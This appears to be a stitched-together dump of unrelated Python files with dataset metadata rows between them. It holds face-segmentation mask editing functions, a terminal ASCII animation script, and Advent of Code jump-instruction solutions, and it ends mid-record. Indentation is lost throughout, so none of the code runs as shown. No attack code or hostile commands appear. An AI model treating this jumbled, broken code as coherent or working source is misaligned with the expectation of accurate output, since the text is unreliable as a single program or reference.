roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
for id in ids:
roi += (target_mask == id)
roi = (roi > 0)
all_roi += roi
new_mask[roi > 0] = 1
target_mask[roi == 0] = 0
A = np.float32([[1, 0, 0], [0, 1, -20]])
target_mask = cv2.warpAffine(target_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[target_mask == id] = id
for id in ids:
roi += (new_mask == id)
all_roi += roi
all_roi = (all_roi > 0)
return new_mask, all_roi
def rise_eyebrow(source_mask):
h, w = source_mask.shape[:2]
new_mask = copy.deepcopy(source_mask)
target_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
roi = (target_mask == 14)
roi = (roi > 0)
all_roi += roi
new_mask[roi > 0] = 1
target_mask[roi == 0] = 0
A = np.float32([[1, 0, 0], [0, 1, -20]])
target_mask = cv2.warpAffine(target_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[target_mask == 14] = 14
roi = (new_mask == 14)
all_roi += roi
all_roi = (all_roi > 0)
return new_mask, all_roi
def add_hair(source_mask, target_mask):
new_mask = copy.deepcopy(source_mask)
ids = semantic_ids["hair"]
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 1
ref_mask = copy.deepcopy(target_mask)
roi = copy.deepcopy(target_mask * 0.)
for id in ids:
roi += (ref_mask == id)
roi = (delete + roi) > 0
for id in ids:
new_mask[(ref_mask == id)] = id
return new_mask, roi
def delete_mustache(source_mask):
new_mask = copy.deepcopy(source_mask)
all_roi = copy.deepcopy(source_mask * 0.)
ref_mask = copy.deepcopy(source_mask)
roi = (ref_mask == 20)
roi = (roi > 0)
new_mask[roi] = 1
all_roi += roi
all_roi = (all_roi > 0)
return new_mask, all_roi
def delete_wrinkle(source_mask):
new_mask = copy.deepcopy(source_mask)
half_mask = np.zeros((source_mask.shape[0], source_mask.shape[1]))
half_mask[:200, :] = 1
all_roi = copy.deepcopy(source_mask * 0.)
ref_mask = half_mask * copy.deepcopy(source_mask)
roi = (ref_mask == 33)
roi = (roi > 0)
new_mask[roi] = 15
all_roi += roi
half_mask = np.zeros((source_mask.shape[0], source_mask.shape[1]))
half_mask[200:, :] = 1
ref_mask = half_mask * copy.deepcopy(source_mask)
roi = (ref_mask == 33)
roi = (roi > 0)
new_mask[roi] = 1
all_roi += roi
all_roi = (all_roi > 0)
return new_mask, all_roi
def add_smile_wrinkle(source_mask):
ref_mask = np.load("/data/datasetGAN_face/datasetGAN/training_data/face_processed/image_mask0.npy")
ref_mask = new_mask = cv2.resize(np.squeeze(ref_mask), dsize=(512, 512), interpolation=cv2.INTER_NEAREST)
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[300:, :] = 1
new_mask = copy.deepcopy(source_mask)
hair = 1 - (new_mask == 17)
ref_mask = half_mask * ref_mask * hair
roi = (ref_mask == 33)
roi = (roi > 0)
new_mask[roi] = 33
return new_mask, roi
def close_eyes(source_mask):
greenscreen_exp_path = "/home/linghuan/ngccli/3D-SDN-mount/styleganSeg/vis_results/greenscreen_encoder/"
with open(greenscreen_exp_path + 'seg_test.npy', 'rb') as f:
greenscreen_pred_mask = np.load(f)
ref_mask = greenscreen_pred_mask[5]
eyes_mask = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
ids = [7, 8, 9, 10, 11, 12, 13, 37, 38, 39, 40, 41, 42, 43]
for id in ids:
eyes_mask[(ref_mask == id)] = id
new_mask = copy.deepcopy(source_mask)
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 1
ref_mask = copy.deepcopy(eyes_mask)
roi = copy.deepcopy(eyes_mask * 0.)
for id in ids:
roi += (ref_mask == id)
roi = (delete + roi) > 0
for id in ids:
new_mask[(ref_mask == id)] = id
return new_mask, roi
def close_ono_eyes(source_mask):
h, w = source_mask.shape[:2]
greenscreen_exp_path = "/home/linghuan/ngccli/3D-SDN-mount/styleganSeg/vis_results/greenscreen_encoder/"
with open(greenscreen_exp_path + 'seg_test.npy', 'rb') as f:
greenscreen_pred_mask = np.load(f)
ref_mask = greenscreen_pred_mask[5]
eyes_mask = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
ids = [7, 8, 9, 10, 11, 12, 13]
for id in ids:
eyes_mask[(ref_mask == id)] = id
new_mask = copy.deepcopy(source_mask)
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 1
ref_mask = copy.deepcopy(eyes_mask)
roi = copy.deepcopy(eyes_mask * 0.)
A = np.float32([[1, 0, 2], [0, 1, 6]])
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
roi += (ref_mask == id)
roi = (delete + roi) > 0
for id in ids:
new_mask[(ref_mask == id)] = id
return new_mask, roi
| 26.696893 | 115 | 0.593329 | 8,314 | 52,406 | 3.528987 | 0.047991 | 0.10259 | 0.055624 | 0.091479 | 0.879925 | 0.875324 | 0.863122 | 0.850716 | 0.844717 | 0.836878 | 0 | 0.057747 | 0.239992 | 52,406 | 1,962 | 116 | 26.710499 | 0.678902 | 0.03055 | 0 | 0.822047 | 0 | 0 | 0.015185 | 0.005134 | 0 | 0 | 0 | 0 | 0.000787 | 1 | 0.04252 | false | 0 | 0.00315 | 0 | 0.088976 | 0.000787 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
62629590d8b1bf509036c5d679b3459dff8e1a69 | 24,388 | py | Python | animation.py | BanjiBear/Monopoly | 5fd31c85179afe1df3c8c5f8163e403a3cf71414 | [
"MIT"
] | null | null | null | animation.py | BanjiBear/Monopoly | 5fd31c85179afe1df3c8c5f8163e403a3cf71414 | [
"MIT"
] | null | null | null | animation.py | BanjiBear/Monopoly | 5fd31c85179afe1df3c8c5f8163e403a3cf71414 | [
"MIT"
] | null | null | null | import time
import sys
import os
sys.stdout.write("\x1b[8;{rows};{cols}t".format(rows = 100, cols = 150))
os.system("clear")
for i in range(10):
print("")
#---------------------------------------- Frame 1 ----------------------------------------
for i in range(1):
print('* ', end = "")
print("\r")
p = 3
for i in range(0, 3):
for j in range(p):
print('* ', end = "")
p = p + 2
print("\r")
for i in range(8, 11):
for j in range(i):
print('* ', end = "")
print("\r")
for i in range(5):
for j in range(10):
print('* ', end = "")
print("\r")
p = 9
for i in range(3):
for i in range(p):
print('* ', end = "")
print("\r")
p = p - 1
p = 7
for i in range(2):
p = p - 2
for i in range(p):
print('* ', end = "")
print("\r")
for i in range(1):
print('* ', end = "")
print("\r")
for i in range(10):
print("")
time.sleep(0.1)
#---------------------------------------- Frame 2 ----------------------------------------
os.system("clear")
for i in range(12):
print("")
for i in range(2):
print('* ', end = "")
print("\r")
p = 4
for i in range(0, 3):
for j in range(p):
print('* ', end = "")
p = p + 2
print("\r")
for i in range(9, 12):
for j in range(i):
print('* ', end = "")
print("\r")
for i in range(5):
for j in range(11):
print('* ', end = "")
print("\r")
p = 10
for i in range(3):
for i in range(p):
print('* ', end = "")
print("\r")
p = p - 1
p = 8
for i in range(2):
p = p - 2
for i in range(p):
print('* ', end = "")
print("\r")
for i in range(2):
print('* ', end = "")
print("\r")
for i in range(8):
print("")
time.sleep(0.1)
#---------------------------------------- Frame 3 ----------------------------------------
os.system("clear")
for i in range(16):
print("")
for i in range(3):
print('* ', end = "")
print("\r")
p = 5
for i in range(0, 3):
for j in range(p):
print('* ', end = "")
p = p + 2
print("\r")
for i in range(10, 13):
for j in range(i):
print('* ', end = "")
print("\r")
for i in range(5):
for j in range(12):
print('* ', end = "")
print("\r")
p = 11
for i in range(3):
for i in range(p):
print('* ', end = "")
print("\r")
p = p - 1
p = 9
for i in range(2):
p = p - 2
for i in range(p):
print('* ', end = "")
print("\r")
for i in range(3):
print('* ', end = "")
print("\r")
for i in range(4):
print("")
time.sleep(0.1)
#---------------------------------------- Frame 4 ----------------------------------------
os.system("clear")
for i in range(20):
print("")
for i in range(4):
print('* ', end = "")
print("\r")
p = 6
for i in range(0, 3):
for j in range(p):
print('* ', end = "")
p = p + 2
print("\r")
for i in range(11, 14):
for j in range(i):
print('* ', end = "")
print("\r")
for i in range(5):
for j in range(13):
print('* ', end = "")
print("\r")
p = 12
for i in range(3):
for i in range(p):
print('* ', end = "")
print("\r")
p = p - 1
p = 10
for i in range(2):
p = p - 2
for i in range(p):
print('* ', end = "")
print("\r")
for i in range(4):
print('* ', end = "")
print("\r")
for i in range(0):
print("")
time.sleep(0.1)
#---------------------------------------- Frame 5 ----------------------------------------
os.system("clear")
for i in range(24):
print("")
p = 8
for i in range(0, 3):
for j in range(p):
print('* ', end = "")
p = p + 2
print("\r")
for i in range(13, 16):
for j in range(i):
print('* ', end = "")
print("\r")
for i in range(5):
for j in range(15):
print('* ', end = "")
print("\r")
p = 14
for i in range(3):
for i in range(p):
print('* ', end = "")
print("\r")
p = p - 1
p = 12
for i in range(2):
p = p - 2
for i in range(p):
print('* ', end = "")
print("\r")
for i in range(0):
print("")
time.sleep(0.1)
#---------------------------------------- Frame 6 ----------------------------------------
os.system("clear")
for i in range(25):
print("")
p = 9
for i in range(0, 3):
for j in range(p):
print('* ', end = "")
p = p + 2
print("\r")
for i in range(14, 17):
for j in range(i):
print('* ', end = "")
print("\r")
for i in range(4):
for j in range(16):
print('* ', end = "")
print("\r")
p = 15
for i in range(3):
for i in range(p):
print('* ', end = "")
print("\r")
p = p - 1
p = 13
for i in range(2):
p = p - 2
for i in range(p):
print('* ', end = "")
print("\r")
time.sleep(0.1)
#---------------------------------------- Frame 7 ----------------------------------------
os.system("clear")
for i in range(26):
print("")
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
p = 12
for i in range(0, 2):
for j in range(p):
print('* ', end = "")
p = p + 2
print("\r")
for i in range(15, 18):
for j in range(i):
print('* ', end = "")
print("\r")
for i in range(3):
for j in range(17):
print('* ', end = "")
print("\r")
p = 16
for i in range(3):
for i in range(p):
print('* ', end = "")
print("\r")
p = p - 1
p = 14
for i in range(1):
p = p - 2
for i in range(p):
print('* ', end = "")
print("\r")
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(0.2)
#---------------------------------------- Frame 8 ----------------------------------------
os.system("clear")
for i in range(27):
print("")
for i in range(2):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
p = 13
for i in range(0, 2):
for j in range(p):
print('* ', end = "")
p = p + 2
print("\r")
for i in range(16, 19):
for j in range(i):
print('* ', end = "")
print("\r")
for i in range(2):
for j in range(18):
print('* ', end = "")
print("\r")
p = 17
for i in range(3):
for i in range(p):
print('* ', end = "")
print("\r")
p = p - 1
p = 15
for i in range(1):
p = p - 2
for i in range(p):
print('* ', end = "")
print("\r")
for i in range(2):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(0.2)
#---------------------------------------- Frame 9 ----------------------------------------
os.system("clear")
for i in range(28):
print("")
for i in range(4):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
p = 14
for i in range(0, 2):
for j in range(p):
print('* ', end = "")
p = p + 2
print("\r")
for i in range(17, 20):
for j in range(i):
print('* ', end = "")
print("\r")
for i in range(1):
for j in range(19):
print('* ', end = "")
print("\r")
p = 18
for i in range(3):
for i in range(p):
print('* ', end = "")
print("\r")
p = p - 1
p = 16
for i in range(1):
p = p - 2
for i in range(p):
print('* ', end = "")
print("\r")
for i in range(4):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(0.2)
#---------------------------------------- Frame 10 ----------------------------------------
os.system("clear")
for i in range(27):
print("")
for i in range(6):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(1):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
p = 17
for i in range(0, 1):
for j in range(p):
print('* ', end = "")
print("\r")
for i in range(18, 21):
for j in range(i):
print('* ', end = "")
print("\r")
for i in range(2):
for j in range(20):
print('* ', end = "")
print("\r")
p = 19
for i in range(3):
for i in range(p):
print('* ', end = "")
print("\r")
p = p - 1
for i in range(1):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(6):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(0.05)
#---------------------------------------- Frame 11 ----------------------------------------
os.system("clear")
for i in range(24):
print("")
for i in range(10):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(5):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
p = 19
for i in range(0, 1):
for j in range(p):
print('* ', end = "")
print("\r")
for i in range(20, 22):
for j in range(i):
print('* ', end = "")
print("\r")
for i in range(4):
for j in range(21):
print('* ', end = "")
print("\r")
p = 21
for i in range(3):
for i in range(p):
print('* ', end = "")
print("\r")
p = p - 1
for i in range(5):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(10):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(0.05)
#---------------------------------------- Frame 12 ----------------------------------------
os.system("clear")
for i in range(20):
print("")
for i in range(12):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(7):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(2):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(21, 23):
for j in range(i):
print('* ', end = "")
print("\r")
for i in range(5):
for j in range(22):
print('* ', end = "")
print("\r")
p = 22
for i in range(2):
for i in range(p):
print('* ', end = "")
print("\r")
p = p - 1
for i in range(2):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(7):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(12):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(0.05)
#---------------------------------------- Frame 13 ----------------------------------------
os.system("clear")
for i in range(17):
print("")
for i in range(14):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(9):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(4):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(9):
for i in range(2):
print(' ', end = "")
for i in range(0,21):
print('* ', end = "")
print("\r")
for i in range(4):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(9):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(14):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(0.05)
#---------------------------------------- Frame 14 ----------------------------------------
def Frame14(a, b, c, d, e, f):
os.system("clear")
for i in range(a):
print("")
for i in range(b):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(c):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(d):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(9):
for i in range(e):
print(' ', end = "")
for i in range(0,21):
print('* ', end = "")
print("\r")
for i in range(d):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(c):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(b):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(f)
Frame14(15, 16, 11, 6, 4, 0.05) #Frame 14
Frame14(13, 18, 13, 8, 6, 0.05) #Frame 15
Frame14(12, 20, 15, 10, 8, 0.05) #Frame 16
Frame14(11, 22, 17, 12, 10, 0.05) #Frame 17
Frame14(10, 24, 19, 14, 12, 0.05) #Frame 18
Frame14(9, 26, 21, 16, 14, 0.1) #Frame 19
Frame14(8, 28, 23, 18, 16, 0.1) #Frame 20
Frame14(7, 30, 25, 20, 18, 0.1) #Frame 21
Frame14(6, 32, 27, 22, 20, 0.1) #Frame 22
Frame14(7, 34, 29, 24, 22, 0.1) #Frame 23
Frame14(8, 36, 31, 26, 24, 0.1) #Frame 24
Frame14(9, 38, 33, 28, 26, 0.1) #Frame 25
Frame14(10, 40, 35, 30, 28, 0.05) #Frame 26
Frame14(11, 42, 37, 32, 30, 0.05) #Frame 27
Frame14(12, 44, 39, 34, 32, 0.05) #Frame 28
Frame14(13, 46, 41, 36, 34, 0.05) #Frame 29
Frame14(15, 48, 43, 38, 36, 0.05) #Frame 30
Frame14(17, 50, 45, 40, 38, 0.05) #Frame 31
Frame14(20, 52, 47, 42, 40, 0.05) #Frame 32
Frame14(24, 54, 49, 44, 42, 0.05) #Frame 33
Frame14(27, 56, 51, 46, 44, 0.05) #Frame 34
Frame14(28, 58, 53, 48, 46, 0.05) #Frame 35
#---------------------------------------- Frame 36 ----------------------------------------
os.system("clear")
for i in range(30):
print("")
for i in range(60):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(55):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(50):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(7):
for i in range(46):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
for i in range(50):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(55):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(60):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(0.05)
#---------------------------------------- Frame 37 ----------------------------------------
os.system("clear")
for i in range(31):
print("")
for i in range(60):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(55):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(50):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(2):
for i in range(46):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
for i in range(2):
for i in range(44):
print(' ', end = "")
for i in range(0,25):
print('* ', end = "")
print("\r")
for i in range(2):
for i in range(46):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
for i in range(50):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(55):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(60):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(0.05)
#---------------------------------------- Frame 38 ----------------------------------------
os.system("clear")
for i in range(32):
print("")
for i in range(62):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(57):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(52):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(1):
for i in range(48):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
for i in range(1):
for i in range(46):
print(' ', end = "")
for i in range(0,25):
print('* ', end = "")
print("\r")
for i in range(1):
for i in range(48):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
for i in range(52):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(57):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(62):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(0.1)
#---------------------------------------- Frame 39 ----------------------------------------
os.system("clear")
for i in range(30):
print("")
for i in range(64):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(59):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(54):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(1):
for i in range(50):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
for i in range(3):
for i in range(48):
print(' ', end = "")
for i in range(0,25):
print('* ', end = "")
print("\r")
for i in range(1):
for i in range(50):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
for i in range(54):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(59):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(64):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(0.1)
#---------------------------------------- Frame 40 ----------------------------------------
os.system("clear")
for i in range(27):
print("")
for i in range(66):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(61):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(56):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(2):
for i in range(52):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
for i in range(3):
for i in range(50):
print(' ', end = "")
for i in range(0,25):
print('* ', end = "")
print("\r")
for i in range(2):
for i in range(52):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
for i in range(56):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(61):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(66):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(0.05)
#---------------------------------------- Frame 41 ----------------------------------------
def Frame41(a, b, c, d, e, f):
os.system("clear")
for i in range(a):
print("")
for i in range(b):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(c):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(d):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(9):
for i in range(e):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
for i in range(d):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(c):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(b):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
time.sleep(f)
Frame41(24, 68, 63, 58, 54, 0.05) #Frame 41
Frame41(21, 70, 65, 60, 56, 0.05) #Frame 42
Frame41(19, 72, 67, 62, 58, 0.05) #Frame 43
Frame41(17, 74, 69, 64, 60, 0.05) #Frame 44
Frame41(15, 76, 71, 66, 62, 0.05) #Frame 45
Frame41(13, 78, 73, 68, 64, 0.05) #Frame 46
Frame41(12, 80, 75, 70, 66, 0.05) #Frame 47
Frame41(11, 82, 77, 72, 68, 0.05) #Frame 48
Frame41(10, 84, 79, 74, 70, 0.1) #Frame 49
Frame41(9, 86, 81, 76, 72, 0.1) #Frame 50
Frame41(8, 88, 83, 78, 74, 0.1) #Frame 51
Frame41(7, 90, 85, 80, 76, 0.1) #Frame 52
Frame41(8, 92, 87, 82, 78, 0.1) #Frame 53
Frame41(9, 94, 89, 84, 80, 0.1) #Frame 54
Frame41(10, 96, 91, 86, 82, 0.1) #Frame 55
Frame41(12, 98, 93, 88, 84, 0.05) #Frame 56
Frame41(14, 100, 95, 90, 86, 0.05) #Frame 57
Frame41(17, 102, 97, 92, 88, 0.05) #Frame 58
Frame41(20, 104, 99, 94, 90, 0.05) #Frame 59
Frame41(23, 106, 101, 96, 92, 0.05) #Frame 60
Frame41(27, 108, 103, 98, 94, 0.05) #Frame 61
#---------------------------------------- Frame 62 ----------------------------------------
os.system("clear")
for i in range(30):
print("")
for i in range(110):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(105):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(100):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(9):
for i in range(96):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
for i in range(100):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
time.sleep(0.05)
#---------------------------------------- Frame 63 ----------------------------------------
os.system("clear")
for i in range(33):
print("")
for i in range(112):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(107):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(102):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(6):
for i in range(98):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
time.sleep(0.05)
#---------------------------------------- Frame 64 ----------------------------------------
os.system("clear")
for i in range(38):
print("")
for i in range(114):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(109):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
for i in range(104):
print(' ', end = "")
for i in range(0,19):
print('* ', end = "")
print("\r")
for i in range(1):
for i in range(100):
print(' ', end = "")
for i in range(0,23):
print('* ', end = "")
print("\r")
time.sleep(0.05)
#---------------------------------------- Frame 65 ----------------------------------------
os.system("clear")
for i in range(41):
print("")
for i in range(116):
print(' ', end = "")
for i in range(0,9):
print('* ', end = "")
print("\r")
for i in range(111):
print(' ', end = "")
for i in range(0,14):
print('* ', end = "")
print("\r")
time.sleep(0.05)
os.system("clear")
time.sleep(0.5)
#---------------------------------------- Frame LED ----------------------------------------
def LED(p):
for i in range(11):
print("")
for i in range(10, 41):
print("*" * p)
for i in range(151):
LED(i)
if( i == 150):
time.sleep(0.5)
os.system("clear")
else:
time.sleep(0.01)
os.system("clear")
#---------------------------------------- Frame Welcome ----------------------------------------
os.system("python3 poster.py")
#---------------------------------------------------------
time.sleep(3)
for i in range(201):
LED(i)
if( i == 200):
time.sleep(0.5)
os.system("clear")
else:
time.sleep(0.01)
os.system("clear")
#os.system("python3 test.py")
| 22.436063 | 96 | 0.42525 | 3,745 | 24,388 | 2.769292 | 0.043258 | 0.248385 | 0.192653 | 0.353196 | 0.851509 | 0.825378 | 0.814676 | 0.786231 | 0.782952 | 0.762993 | 0 | 0.087615 | 0.271322 | 24,388 | 1,086 | 97 | 22.456722 | 0.495977 | 0.113416 | 0 | 0.884232 | 0 | 0 | 0.043385 | 0.000974 | 0 | 0 | 0 | 0 | 0 | 1 | 0.002994 | false | 0 | 0.002994 | 0 | 0.005988 | 0.45509 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 12 |
6271fecac44606b44c38d88234b9a2ad9a87f032 | 1,173 | py | Python | y2017/day5.py | martakus/advent-of-code | 8e1f881eeba42fb198d6569688d3702bb52205a3 | [
"MIT"
] | null | null | null | y2017/day5.py | martakus/advent-of-code | 8e1f881eeba42fb198d6569688d3702bb52205a3 | [
"MIT"
] | null | null | null | y2017/day5.py | martakus/advent-of-code | 8e1f881eeba42fb198d6569688d3702bb52205a3 | [
"MIT"
] | null | null | null | def jump_increment(s):
jump_instructions = [int(num.strip()) for num in s.strip().split('\n')]
current_instruction = 0
counter = 0
while 0 <= current_instruction < len(jump_instructions):
next_instruction = current_instruction + jump_instructions[current_instruction]
jump_instructions[current_instruction] += 1
counter += 1
current_instruction = next_instruction
return counter
def jump_conditional_increment(s):
jump_instructions = [int(num.strip()) for num in s.strip().split('\n')]
current_instruction = 0
counter = 0
while 0 <= current_instruction < len(jump_instructions):
next_instruction = current_instruction + jump_instructions[current_instruction]
if jump_instructions[current_instruction] >= 3:
jump_instructions[current_instruction] -= 1
else:
jump_instructions[current_instruction] += 1
counter += 1
current_instruction = next_instruction
return counter
if __name__ == '__main__':
with open('inputs/input5.txt') as f:
s = f.read()
print jump_increment(s)
print jump_conditional_increment(s)
| 35.545455 | 87 | 0.682012 | 133 | 1,173 | 5.699248 | 0.270677 | 0.332454 | 0.182058 | 0.269129 | 0.792876 | 0.746702 | 0.746702 | 0.746702 | 0.746702 | 0.746702 | 0 | 0.014317 | 0.225916 | 1,173 | 32 | 88 | 36.65625 | 0.820485 | 0 | 0 | 0.642857 | 0 | 0 | 0.024723 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.071429 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
6285f3b826b7d0736f9d36d1246d26cb72fd1791 | 488 | py | Python | src/lib/pythonds3/sorting/__init__.py | bjones1/skulpt | 4ebbc47ab9a787c167ce8fadc457609ec9041788 | [
"MIT"
] | 6 | 2017-03-15T07:30:56.000Z | 2020-09-12T03:27:15.000Z | src/lib/pythonds3/sorting/__init__.py | bjones1/skulpt | 4ebbc47ab9a787c167ce8fadc457609ec9041788 | [
"MIT"
] | 2 | 2017-08-18T15:31:18.000Z | 2021-07-30T20:49:12.000Z | src/lib/pythonds3/sorting/__init__.py | bjones1/skulpt | 4ebbc47ab9a787c167ce8fadc457609ec9041788 | [
"MIT"
